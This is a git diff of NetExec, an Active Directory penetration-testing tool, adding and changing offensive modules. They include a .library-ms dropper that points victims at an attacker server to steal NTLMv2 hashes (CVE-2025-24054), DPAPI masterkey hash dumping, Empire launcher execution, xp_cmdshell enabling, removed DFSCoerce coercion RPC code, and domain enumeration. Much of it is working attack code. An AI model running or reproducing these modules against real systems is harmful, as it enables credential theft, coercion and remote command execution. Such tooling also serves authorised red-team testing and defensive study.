)[0][1][0][1][0]
except Exception:
context.log.debug(f"SID not found in LDAP: {sid}")
return ""
try:
resp = self.connection.search(
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
return parse_result_attributes(resp)[0]["sAMAccountName"]
except Exception:
self.context.log.debug(f"SID not found in LDAP: {sid}")
return ""
# Parses a full DACL
# - dacl : the DACL to parse, submitted in a Security Desciptor format
def parse_dacl(self, context, dacl):
def parse_dacl(self, dacl):
parsed_dacl = []
context.log.debug("Parsing DACL")
i = 0
self.context.log.debug("Parsing DACL")
for ace in dacl["Data"]:
parsed_ace = self.parse_ace(context, ace)
parsed_ace = self.parse_ace(ace)
parsed_dacl.append(parsed_ace)
i += 1
return parsed_dacl
# Parses an access mask to extract the different values from a simple permission
@@ -448,7 +382,7 @@ class NXCModule:
# Parses a specified ACE and extract the different values (Flags, Access Mask, Trustee, ObjectType, InheritedObjectType)
# - ace : the ACE to parse
def parse_ace(self, context, ace):
def parse_ace(self, ace):
# For the moment, only the Allowed and Denied Access ACE are supported
if ace["TypeName"] in [
"ACCESS_ALLOWED_ACE",
@@ -463,7 +397,7 @@ class NXCModule:
# Extracts the access mask (by parsing the simple permissions) and the principal's SID
if ace["TypeName"] in ["ACCESS_ALLOWED_ACE", "ACCESS_DENIED_ACE"]:
access_mask = f"{', '.join(self.parse_perms(ace['Ace']['Mask']['Mask']))} (0x{ace['Ace']['Mask']['Mask']:x})"
trustee_sid = f"{self.resolveSID(context, ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
trustee_sid = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
parsed_ace = {
"Access mask": access_mask,
"Trustee (SID)": trustee_sid
@@ -490,12 +424,9 @@ class NXCModule:
except KeyError:
parsed_ace["Inherited type (GUID)"] = f"UNKNOWN ({inh_obj_type})"
# Extract the Trustee SID (the object that has the right over the DACL bearer)
parsed_ace["Trustee (SID)"] = "{} ({})".format(
self.resolveSID(context, ace["Ace"]["Sid"].formatCanonical()) or "UNKNOWN",
ace["Ace"]["Sid"].formatCanonical(),
)
parsed_ace["Trustee (SID)"] = f"{self.resolveSID(ace['Ace']['Sid'].formatCanonical()) or 'UNKNOWN'} ({ace['Ace']['Sid'].formatCanonical()})"
else: # if the ACE is not an access allowed
context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
self.context.log.debug(f"ACE Type ({ace['TypeName']}) unsupported for parsing yet, feel free to contribute")
_ace_flags = [FLAG.name for FLAG in ACE_FLAGS if ace.hasFlag(FLAG.value)]
parsed_ace = {
"ACE type": ace["TypeName"],
@@ -504,19 +435,18 @@ class NXCModule:
}
return parsed_ace
def print_parsed_dacl(self, context, parsed_dacl):
def print_parsed_dacl(self, parsed_dacl):
"""Prints a full DACL by printing each parsed ACE
parsed_dacl : a parsed DACL from parse_dacl()
"""
context.log.debug("Printing parsed DACL")
i = 0
self.context.log.debug("Printing parsed DACL")
# If a specific right or a specific GUID has been specified, only the ACE with this right will be printed
# If an ACE type has been specified, only the ACE with this type will be specified
# If a principal has been specified, only the ACE where he is the trustee will be printed
for parsed_ace in parsed_dacl:
for i, parsed_ace in enumerate(parsed_dacl):
print_ace = True
context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
self.context.log.debug(f"{parsed_ace=}, {self.rights=}, {self.rights_guid=}, {self.ace_type=}, {self.principal_sid=}")
# Filter on specific rights
if self.rights is not None:
@@ -530,7 +460,7 @@ class NXCModule:
if (self.rights == "ResetPassword") and (("Object type (GUID)" not in parsed_ace) or (RIGHTS_GUID.ResetPassword.value not in parsed_ace["Object type (GUID)"])):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on specific right GUID
if self.rights_guid is not None:
@@ -538,7 +468,7 @@ class NXCModule:
if ("Object type (GUID)" not in parsed_ace) or (self.rights_guid not in parsed_ace["Object type (GUID)"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.rights_guid=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on ACE type
if self.ace_type == "allowed":
@@ -546,13 +476,13 @@ class NXCModule:
if ("ACCESS_ALLOWED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_ALLOWED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
else:
try:
if ("ACCESS_DENIED_OBJECT_ACE" not in parsed_ace["ACE Type"]) and ("ACCESS_DENIED_ACE" not in parsed_ace["ACE Type"]):
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.ace_type=}, probably because of ACE type unsupported for parsing yet ({e})")
# Filter on trusted principal
if self.principal_sid is not None:
@@ -560,18 +490,17 @@ class NXCModule:
if self.principal_sid not in parsed_ace["Trustee (SID)"]:
print_ace = False
except Exception as e:
context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
self.context.log.debug(f"Error filtering with {parsed_ace=} and {self.principal_sid=}, probably because of ACE type unsupported for parsing yet ({e})")
if print_ace:
self.context.log.highlight("%-28s" % "ACE[%d] info" % i)
self.context.log.highlight(f"ACE[{i}] info")
self.print_parsed_ace(parsed_ace)
i += 1
# Prints properly a parsed ACE
# - parsed_ace : a parsed ACE from parse_ace()
def print_parsed_ace(self, parsed_ace):
elements_name = list(parsed_ace.keys())
for attribute in elements_name:
self.context.log.highlight(" %-26s: %s" % (attribute, parsed_ace[attribute]))
self.context.log.highlight(f"\t{attribute:<26}: {parsed_ace[attribute]}")
# Retrieves the GUIDs for the specified rights
def build_guids_for_rights(self):
+4 -124
View File
@@ -1,18 +1,11 @@
from impacket import system_errors
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.ndr import NDRCALL
from impacket.dcerpc.v5.dtypes import ULONG, WSTR, DWORD
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.uuid import uuidtup_to_bin
from nxc.logger import nxc_logger
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "dfscoerce"
description = "Module to check if the DC is vulnerable to DFSCocerc, credit to @filip_dragovic/@Wh04m1001 and @topotam"
description = "[REMOVED] Module to check if the DC is vulnerable to DFSCoerce, credit to @filip_dragovic/@Wh04m1001 and @topotam"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -26,117 +19,4 @@ class NXCModule:
self.listener = module_options["LISTENER"]
def on_login(self, context, connection):
trigger = TriggerAuth()
dce = trigger.connect(
username=connection.username,
password=connection.password,
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
target=connection.host if not connection.kerberos else connection.hostname + "." + connection.domain,
doKerberos=connection.kerberos,
dcHost=connection.kdcHost,
aesKey=connection.aesKey,
)
if dce is not None:
context.log.debug("Target is vulnerable to DFSCoerce")
trigger.NetrDfsRemoveStdRoot(dce, self.listener)
context.log.highlight("VULNERABLE")
context.log.highlight("Next step: https://github.com/Wh04m1001/DFSCoerce")
dce.disconnect()
else:
context.log.debug("Target is not vulnerable to DFSCoerce")
class DCERPCSessionError(DCERPCException):
def __init__(self, error_string=None, error_code=None, packet=None):
DCERPCException.__init__(self, error_string, error_code, packet)
def __str__(self):
key = self.error_code
if key in system_errors.ERROR_MESSAGES:
error_msg_short = system_errors.ERROR_MESSAGES[key][0]
error_msg_verbose = system_errors.ERROR_MESSAGES[key][1]
return f"DFSNM SessionError: code: 0x{self.error_code:x} - {error_msg_short} - {error_msg_verbose}"
else:
return f"DFSNM SessionError: unknown error code: 0x{self.error_code:x}"
################################################################################
# RPC CALLS
################################################################################
class NetrDfsRemoveStdRoot(NDRCALL):
opnum = 13
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsRemoveStdRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class NetrDfsAddRoot(NDRCALL):
opnum = 12
structure = (
("ServerName", WSTR),
("RootShare", WSTR),
("Comment", WSTR),
("ApiFlags", DWORD),
)
class NetrDfsAddRootResponse(NDRCALL):
structure = (("ErrorCode", ULONG),)
class TriggerAuth:
def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost):
rpctransport = transport.DCERPCTransportFactory(r"ncacn_np:%s[\PIPE\netdfs]" % target)
if hasattr(rpctransport, "set_credentials"):
rpctransport.set_credentials(
username=username,
password=password,
domain=domain,
lmhash=lmhash,
nthash=nthash,
aesKey=aesKey,
)
if doKerberos:
rpctransport.set_kerberos(doKerberos, kdcHost=dcHost)
# if target:
rpctransport.setRemoteHost(target)
dce = rpctransport.get_dce_rpc()
nxc_logger.debug("[-] Connecting to {}".format(r"ncacn_np:%s[\PIPE\netdfs]") % target)
try:
dce.connect()
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
try:
dce.bind(uuidtup_to_bin(("4FC742E0-4A10-11CF-8273-00AA004AE673", "3.0")))
except Exception as e:
nxc_logger.debug(f"Something went wrong, check error status => {e!s}")
return None
nxc_logger.debug("[+] Successfully bound!")
return dce
def NetrDfsRemoveStdRoot(self, dce, listener):
nxc_logger.debug("[-] Sending NetrDfsRemoveStdRoot!")
try:
request = NetrDfsRemoveStdRoot()
request["ServerName"] = f"{listener}\x00"
request["RootShare"] = "test\x00"
request["ApiFlags"] = 1
if self.args.verbose:
nxc_logger.debug(request.dump())
dce.request(request)
except Exception as e:
nxc_logger.debug(e)
context.log.fail('[REMOVED] This module moved to the new module "coerce_plus"')
+68
View File
@@ -0,0 +1,68 @@
from impacket.structure import Structure
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @MaxToffy"""
name = "dns-nonsecure"
description = "Detects DNS zones that allow nonsecure dynamic updates"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options available"""
def on_login(self, context, connection):
search_bases = {
"domain": f"CN=MicrosoftDNS,DC=DomainDnsZones,{connection.baseDN}",
"forest": f"CN=MicrosoftDNS,DC=ForestDnsZones,{connection.forestDN}"
}
for dns_type, search_base in search_bases.items():
# Search for domain DNS zones
resp = connection.search(
searchFilter="(objectClass=dnsZone)",
attributes=["name", "dNSProperty"],
baseDN=search_base,
)
zones = parse_result_attributes(resp)
# Get dynamic updates configuration for each zones
allows_nonsecure_updates = []
for zone in zones:
for prop in zone["dNSProperty"]:
dns_properties = DNS_PROPERTY(prop)
# [MS-DNSP] 2.2.5.2.4.1 - DNS_RPC_ZONE_INFO_W2K - fAllowUpdate
if dns_properties["Id"] == DSPROPERTY_ZONE_ALLOW_UPDATE and int.from_bytes(dns_properties["Data"]) == ZONE_UPDATE_UNSECURE:
allows_nonsecure_updates.append(zone["name"])
if allows_nonsecure_updates:
context.log.success(f"{dns_type.capitalize()} DNS zone(s) allowing nonsecure dynamic updates")
for zone in allows_nonsecure_updates:
context.log.highlight(zone)
else:
context.log.fail(f"No {dns_type} DNS zones allowing nonsecure dynamic updates")
# [MS-DNSP] - 2.3.2.1 - dnsProperty
class DNS_PROPERTY(Structure):
structure = (
("DataLength", "<L-Data"),
("NameLength", "<L"),
("Flag", "<L"),
("Version", "<L"),
("Id", "<L"),
("Data", ":"),
("Name", "1s"),
)
# [MS-DNSP] - 2.3.2.1.1 - Property Id
DSPROPERTY_ZONE_ALLOW_UPDATE = 0x02
# [MS-DNSP] - 2.2.5.2.4.1 - fAllowUpdate values
ZONE_UPDATE_OFF = 0x00000000
ZONE_UPDATE_UNSECURE = 0x00000001
ZONE_UPDATE_SECURE = 0x00000002
+38
View File
@@ -0,0 +1,38 @@
from dploot.triage.masterkeys import MasterkeysTriage
from nxc.helpers.misc import CATEGORY
# Based on dpapimk2john, original work by @fist0urs
class NXCModule:
name = "dpapi_hash"
description = "Remotely dump Dpapi hash based on masterkeys"
supported_protocols = ["smb", "wmi", "winrm", "mssql"]
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""OUTPUTFILE Output file to write hashes"""
self.outputfile = None
if "OUTPUTFILE" in module_options:
self.outputfile = module_options["OUTPUTFILE"]
def on_admin_login(self, context, connection):
try:
context.log.display("Collecting DPAPI masterkeys, grab a coffee and be patient...")
masterkeys_triage = MasterkeysTriage(
target=connection.dpapi_triage.target,
conn=connection.dpapi_triage.conn,
)
context.log.debug(f"Masterkeys Triage: {masterkeys_triage}")
context.log.debug("Collecting user masterkeys")
masterkeys_triage.triage_masterkeys()
if self.outputfile is not None:
with open(self.outputfile, "a+") as fd:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
fd.write(f"{mkhash}\n")
else:
for mkhash in [mkhash for masterkey in masterkeys_triage.all_looted_masterkeys for mkhash in masterkey.generate_hash()]:
context.log.highlight(mkhash)
except Exception as e:
context.log.debug(f"Could not get masterkeys: {e}")
+91
View File
@@ -0,0 +1,91 @@
import ntpath
from nxc.paths import TMP_PATH
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Requested by the issue #652, heavily inspired by drop-sc, scuffy and slinky modules
https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
https://cti.monster/blog/2025/03/18/CVE-2025-24071.html
Module by: @XedSama
"""
name = "drop-library-ms"
description = "Creates and uploads an arbitrary .library-ms on writable shares, leveraging CVE-2025-24054 for looting NTLMv2 hash"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.ignore_shares = ["C$", "ADMIN$", "NETLOGON", "SYSVOL"]
self.server = None
self.lms_name = ""
self.cleanup = False
self.local_path = None
self.remote_path = None
def options(self, context, module_options):
"""
SERVER Attacker machine
NAME File name
IGNORE Specific shares to ignore (comma separated, default: C$,ADMIN$,NETLOGON,SYSVOL)
CLEANUP Cleaning option (True or False)
"""
if "SERVER" not in module_options and not self.cleanup:
context.log.fail("SERVER option is required")
exit(1)
if "NAME" not in module_options:
context.log.fail("NAME option is required!")
exit(1)
if "IGNORE" in module_options:
self.ignore_shares = module_options["IGNORE"].split(",")
context.log.debug(f"Ignoring shares: {self.ignore_shares}")
if "CLEANUP" in module_options:
self.cleanup = bool(module_options["CLEANUP"])
context.log.debug(f"CLEANUP is set to {self.cleanup}")
self.lms_name = module_options["NAME"]
self.local_path = f"{TMP_PATH}/{self.lms_name}.library-ms"
self.remote_path = ntpath.join("\\", f"{self.lms_name}.library-ms")
if not self.cleanup:
self.server = module_options["SERVER"]
with open(self.local_path, "w", encoding="utf-8") as libms:
libms.truncate(0)
libms.write('<?xml version="1.0" encoding="UTF-8"?>')
libms.write('<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">')
libms.write("<searchConnectorDescriptionList>")
libms.write("<searchConnectorDescription>")
libms.write("<simpleLocation>")
libms.write(f"<url>\\\\{self.server}\\LIBRARY</url>")
libms.write("</simpleLocation>")
libms.write("</searchConnectorDescription>")
libms.write("</searchConnectorDescriptionList>")
libms.write("</libraryDescription>")
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if "WRITE" in share["access"] and share["name"] not in self.ignore_shares:
context.log.success(f"Found writable share : {share['name']}")
if self.cleanup:
try:
connection.conn.deleteFile(share["name"], self.remote_path)
context.log.success(f"Deleted .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error deleting .library-ms file on share '{share['name']}' : {e}")
else:
with open(self.local_path, "rb") as libms:
try:
connection.conn.putFile(share["name"], self.remote_path, libms.read)
context.log.success(f"Created .library-ms file on share '{share['name']}'")
except Exception as e:
context.log.fail(f"Error writing .library-ms file on share '{share['name']}' : {e}")
+3 -3
View File
@@ -1,5 +1,6 @@
import ntpath
import tempfile
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
name = "drop-sc"
description = "Drop a searchConnector-ms file on each writable share"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -47,7 +47,7 @@ class NXCModule:
with open(self.scfile_path, "w") as scfile:
scfile.truncate(0)
scfile.write('<?xml version="1.0" encoding="UTF-8"?>')
scfile.write("<searchConnectorDescription" ' xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">') # noqa ISC001
scfile.write('<searchConnectorDescription xmlns="http://schemas.microsoft.com/windows/2009/searchConnector">')
scfile.write("<description>Microsoft Outlook</description>")
scfile.write("<isSearchOnlyItem>false</isSearchOnlyItem>")
scfile.write("<includeInStartMenuScope>true</includeInStartMenuScope>")
+71
View File
@@ -0,0 +1,71 @@
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
name = "dump-computers"
description = "Dumps FQDN and OS of all computers in the domain"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""
TYPE Only dump NETBIOS or FQDN instead of 'FQDN (OS Version)'
OUTPUT Output to file in addition to printing to console
Examples
--------
netexec ldap $DC-IP -u $username -p $password -M dump-computers
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=fqdn
netexec ldap $DC-IP -u $username -p $password -M dump-computers -o TYPE=netbios OUTPUT=<location>
"""
self.output_file = None
self.netbios_only = False
self.fqdn_only = False
if "OUTPUT" in module_options:
self.output_file = module_options["OUTPUT"]
if "TYPE" in module_options:
if module_options["TYPE"].lower() == "netbios":
self.netbios_only = True
elif module_options["TYPE"].lower() == "fqdn":
self.fqdn_only = True
def on_login(self, context, connection):
resp = connection.search(
searchFilter="(objectCategory=computer)",
attributes=["dNSHostName", "operatingSystem"]
)
resp_parsed = parse_result_attributes(resp)
answers = []
context.log.debug(f"Total number of records returned: {len(resp_parsed)}")
for item in resp_parsed:
dns_host_name = item.get("dNSHostName")
operating_system = item.get("operatingSystem", "Unknown OS")
if not dns_host_name:
context.log.debug(f"Skipping computer without dNSHostName: {item.get('cn', '<unknown>')}")
continue
if self.netbios_only:
netbios_name = dns_host_name.split(".")[0]
answer = netbios_name
elif self.fqdn_only:
answer = dns_host_name
else:
answer = f"{dns_host_name} ({operating_system})"
answers.append(answer)
context.log.success("Found the following computers:")
for answer in answers:
context.log.highlight(answer)
if self.output_file:
try:
with open(self.output_file, "w") as f:
f.write("\n".join(answers) + "\n")
context.log.success(f"Results saved to {self.output_file}")
except Exception as e:
context.log.error(f"Failed to write to file {self.output_file}: {e}")
+20
View File
@@ -0,0 +1,20 @@
from nxc.context import Context
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "efsr_spray"
description = "[REMOVED] Tries to activate the EFSR service by creating a file with the encryption attribute on some available share."
supported_protocols = ["smb"]
excluded_shares = ["SYSVOL"]
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context: Context, module_options: dict[str, str]):
"""
FILE_NAME Name of the file which will be tried to create and afterwards delete
SHARE_NAME If set, ONLY this share will be used
EXCLUDED_SHARES List of share names which will not be used, separated by comma
"""
def on_login(self, context: Context, connection):
context.log.fail('[REMOVED] This module has been made obsolete and EFS will be activated automatically by "coerce_plus"')
+3 -3
View File
@@ -1,6 +1,7 @@
import sys
import requests
from requests import ConnectionError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -12,8 +13,7 @@ class NXCModule:
name = "empire_exec"
description = "Uses Empire's RESTful API to generate a launcher for the specified listener and executes it"
supported_protocols = ["smb", "mssql"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -33,7 +33,7 @@ class NXCModule:
obfuscate = "OBFUSCATE" in module_options
# we can use commands instead of backslashes - this is because Linux and OSX treat them differently
default_obfuscation = "Token,All,1"
obfuscate_cmd = module_options["OBFUSCATE_CMD"] if "OBFUSCATE_CMD" in module_options else default_obfuscation
obfuscate_cmd = module_options.get("OBFUSCATE_CMD", default_obfuscation)
context.log.debug(f"Obfuscate: {obfuscate} - Obfuscate_cmd: {obfuscate_cmd}")
# Pull the host and port from the config file
+80
View File
@@ -0,0 +1,80 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Enables or disables xp_cmdshell in MSSQL Server.
Module by crosscutsaw
"""
name = "enable_cmdshell"
description = "Enable or disable xp_cmdshell in MSSQL Server"
supported_protocols = ["mssql"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self):
self.mssql_conn = None
self.context = None
self.action = None
self.advanced_options_backup = None # Stores original value of 'show advanced options'
def options(self, context, module_options):
"""
ACTION enable or disable xp_cmdshell
Examples
--------
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=enable
netexec mssql $TARGET -u $username -p $password -M enable_cmdshell -o ACTION=disable
"""
if "ACTION" in module_options:
self.action = module_options["ACTION"].lower()
else:
context.log.fail("Missing required option: ACTION (enable/disable)")
exit(1)
def on_login(self, context, connection):
self.context = context
self.mssql_conn = connection.conn
if self.action == "enable":
self.toggle_xp_cmdshell(enable=True)
elif self.action == "disable":
self.toggle_xp_cmdshell(enable=False)
else:
self.context.log.fail("Invalid ACTION. Use 'enable' or 'disable'.")
def backup_show_advanced_options(self):
"""Backs up the current state of 'show advanced options'."""
res = self.mssql_conn.sql_query("SELECT CAST(value AS INT) AS value FROM sys.configurations WHERE name = 'show advanced options'")
if res:
self.advanced_options_backup = int(res[0]["value"]) # Convert to integer
def restore_show_advanced_options(self):
"""Restores the original state of 'show advanced options' if needed."""
if self.advanced_options_backup is not None and self.advanced_options_backup == 0:
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '0'; RECONFIGURE;")
def toggle_xp_cmdshell(self, enable: bool):
"""Enables or disables xp_cmdshell while preserving 'show advanced options' state."""
state = "1" if enable else "0"
action_text = "enabled" if enable else "disabled"
# Backup 'show advanced options' state
self.backup_show_advanced_options()
# Enable 'show advanced options' if it was disabled
self.mssql_conn.sql_query("EXEC sp_configure 'show advanced options', '1'; RECONFIGURE;")
try:
# Enable or disable xp_cmdshell
self.mssql_conn.sql_query(f"EXEC sp_configure 'xp_cmdshell', '{state}'; RECONFIGURE;")
if self.mssql_conn.lastError:
self.context.log.fail(f"Failed to {action_text[:-1]} xp_cmdshell: {self.mssql_conn.lastError}")
else:
self.context.log.success(f"xp_cmdshell successfully {action_text}.")
except Exception as e:
self.context.log.fail(f"Failed to execute command: {e}")
# Restore 'show advanced options' to its original state if needed
self.restore_show_advanced_options()
+83
View File
@@ -0,0 +1,83 @@
import re
from termcolor import colored
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
from nxc.config import host_info_colors
class NXCModule:
"""Module by @NeffIsBack"""
name = "entra-id"
description = "Find the Entra ID sync server"
supported_protocols = ["ldap"]
category = CATEGORY.ENUMERATION
def __init__(self):
self.context = None
self.module_options = None
def options(self, context, module_options):
"""No options available."""
def on_login(self, context, connection):
self.context = context
# For every Entra ID syncronization server, there is a corresponding MSOL_ account and likely an ADSyncMSA service account.
msol_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=MSOL_*)",
attributes=["sAMAccountName", "cn", "description"],
))
self.context.log.info(f"Found the following MSOL accounts: {msol_parsed}")
adsync_parsed = parse_result_attributes(connection.search(
searchFilter="(sAMAccountName=ADSyncMSA*)",
attributes=["sAMAccountName", "cn", "msDS-HostServiceAccountBL"],
))
self.context.log.info(f"Found the following ADSyncMSA accounts: {adsync_parsed}")
hosts = []
for acc in msol_parsed:
host = re.search(r"computer (?P<host>.*) configured", acc["description"])
if host:
hostname = host.group("host")
# Try to get the dNSHostName for the host, if not use the NetBIOS name from the description
resp = parse_result_attributes(connection.search(f"(sAMAccountName={hostname}$)", ["dNSHostName"]))
ip = connection.resolver(resp[0]["dNSHostName"] if resp else hostname)
hosts.append({
"hostname": hostname,
"ip": ip,
"msol_account": acc["sAMAccountName"],
})
for adsync in adsync_parsed:
# The last 5 chars of the ADSyncMSA account name are the identifier for the corresponding MSOL account
identifier = str(adsync["cn"]).removeprefix("ADSyncMSA")
msol_acc = next((x for x in msol_parsed if str(x["sAMAccountName"]).startswith(f"MSOL_{identifier}")), None)
self.context.log.debug(f"Found ADSyncMSA account: {adsync['sAMAccountName']}, corresponding MSOL account: {msol_acc['sAMAccountName'] if msol_acc else 'None'}")
# Get the computer object for the ADSyncMSA service account
computer = parse_result_attributes(connection.search(
searchFilter=f"(distinguishedName={adsync['msDS-HostServiceAccountBL']})",
attributes=["dNSHostName", "cn", "sAMAccountName"],
))[0]
# If we already found a host with its MSOL account, extend that info, otherwise create a new host entry
host = next((x for x in hosts if x["hostname"] == computer["cn"]), None)
if host and host["ip"]: # Skip if host and IP are already set
self.context.log.debug(f"Host '{host['hostname']}' already exists with IP {host['ip'].get('host')}, skipping update.")
continue
elif host: # If host exists but IP is not set, update it
host["ip"] = connection.resolver(computer["dNSHostName"])
else: # If host does not exist, create a new entry
hosts.append({
"hostname": computer["cn"],
"ip": connection.resolver(computer["dNSHostName"]),
})
if hosts:
self.context.log.success("Found Entra ID sync servers:")
for host in hosts:
self.context.log.highlight(f"{host['hostname']}: {colored(host['ip'].get('host', '<not found>'), host_info_colors[0])}" + colored(f" (MSOL Account: {host.get('msol_account', 'N/A')})", "yellow", attrs=["bold"]))
+185 -103
View File
@@ -3,9 +3,11 @@
# Module by @mpgn_x64
# https://twitter.com/mpgn_x64
from impacket.dcerpc.v5 import lsat, lsad, transport
from impacket.dcerpc.v5 import lsat, lsad
from impacket.dcerpc.v5.dtypes import NULL, MAXIMUM_ALLOWED, RPC_UNICODE_STRING
import pathlib
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
@@ -17,8 +19,7 @@ class NXCModule:
name = "enum_av"
description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -44,19 +45,8 @@ class NXCModule:
results = {}
try:
lsa = LsaLookupNames(
domain=connection.domain,
username=connection.username,
password=connection.password,
remote_name=target,
do_kerberos=connection.kerberos,
kdcHost=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
aesKey=connection.aesKey
)
dce, _ = lsa.connect()
lsa = LsaLookupNames(connection=connection)
dce = lsa.connect()
policyHandle = lsa.open_policy(dce)
for product in conf["products"]:
for service in product["services"]:
@@ -82,10 +72,7 @@ class NXCModule:
prod_results = results.setdefault(product["name"], {})
prod_results.setdefault("pipes", []).append(pipe)
except Exception as e:
if "STATUS_ACCESS_DENIED" in str(e):
context.log.fail("Error STATUS_ACCESS_DENIED while enumerating pipes, probably due to using SMBv1")
else:
context.log.fail(str(e))
context.log.fail(str(e))
def dump_results(self, results, context):
if not results:
@@ -104,80 +91,11 @@ class NXCModule:
class LsaLookupNames:
timeout = None
authn_level = None
protocol = None
transfer_syntax = None
machine_account = False
def __init__(self, connection=None):
self.connection = connection
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
do_kerberos=False,
kdcHost="",
lmhash="",
nthash="",
aesKey="",
):
self.domain = domain
self.username = username
self.password = password
self.remoteName = remote_name
self.string_binding = rf"ncacn_np:{remote_name}[\PIPE\lsarpc]"
self.doKerberos = do_kerberos
self.lmhash = lmhash
self.nthash = nthash
self.aesKey = aesKey
self.dcHost = kdcHost
def connect(self, string_binding=None, iface_uuid=None):
"""Obtains a RPC Transport and a DCE interface according to the bindings and
transfer syntax specified.
:return: tuple of DCE/RPC and RPC Transport objects
:rtype: (DCERPC_v5, DCERPCTransport)
"""
string_binding = string_binding or self.string_binding
if not string_binding:
raise NotImplementedError("String binding must be defined")
rpc_transport = transport.DCERPCTransportFactory(string_binding)
# Set timeout if defined
if self.timeout:
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash, self.aesKey)
if self.doKerberos:
rpc_transport.set_kerberos(self.doKerberos, kdcHost=self.dcHost)
# Gets the DCE RPC object
dce = rpc_transport.get_dce_rpc()
# Set the authentication level
if self.authn_level:
dce.set_auth_level(self.authn_level)
# Connect
dce.connect()
# Bind if specified
iface_uuid = iface_uuid or self.iface_uuid
if iface_uuid and self.transfer_syntax:
dce.bind(iface_uuid, transfer_syntax=self.transfer_syntax)
elif iface_uuid:
dce.bind(iface_uuid)
return dce, rpc_transport
def connect(self):
